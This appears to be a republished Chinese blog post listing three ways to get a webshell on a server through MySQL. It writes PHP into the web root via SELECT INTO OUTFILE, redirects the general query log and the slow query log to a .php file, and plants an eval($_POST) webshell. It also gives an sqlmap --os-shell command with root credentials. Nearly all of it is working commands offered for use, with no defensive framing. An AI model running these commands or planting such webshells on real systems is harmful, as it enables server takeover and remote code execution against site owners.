mysql的getshell方式

Posted light_wind的博客

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql的getshell方式相关的知识,希望对你有一定的参考价值。

方式一:
条件:
对web目录有写权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置 –secure-file-priv(secure-file-priv=空)
 
show global variables like \'%secure%\';    ##查看secure-file-priv值
 
select group_concat(user,0x3a,file_priv) from mysql.user;         ##查看当前用户是否有写权限,Y代表有
select \'<?php phpinfo() ?>\' into outfile \'/www/work/webshell.php\';         ##写shell多种方式outfile,dumpfile,具体分析 若内容存在引号,会存在语法错误
 
解决办法:在单引号前再加单引号,实现转义
 
知道密码情况下或者也可sqlmap连接
 
sqlmap.py -d "mysql://root:123456@xx.xx.xx.xx:3306/mysql" --os-shell
 
 
方式二:全局日志
 
show variables like \'%general%\'; set global general_log = on;
set global general_log_file = \'/www/xx.php\'; select \'<?php eval($_POST[\'apple\']);?>\';
修改为原来路径,再关闭
set global general_log_file=\'/xxx/xxxx\' set global general_log = off;
 
方式三:慢查询getshell(比全局日志好,全局日志太大,shell容易500,慢查询日志体积小)
 

show variables like \'%slow%\';

set GLOBAL slow_query_log_file=\'C:/phpStudy/PHPTutorial/WWW/slow.php\';

set GLOBAL slow_query_log=on; set GLOBAL log_queries_not_using_indexes=on;

select \'\' from mysql.db where sleep(10);

以上是关于mysql的getshell方式的主要内容,如果未能解决你的问题,请参考以下文章

mysql注入getshell

phpmyadmin新姿势getshell

从mysql注入到getshell

文件包含漏洞利用方式-日志注入getshell

网络安全一次实战中对tp5网站getshell方式的测试

phpmyadmin低权限getshell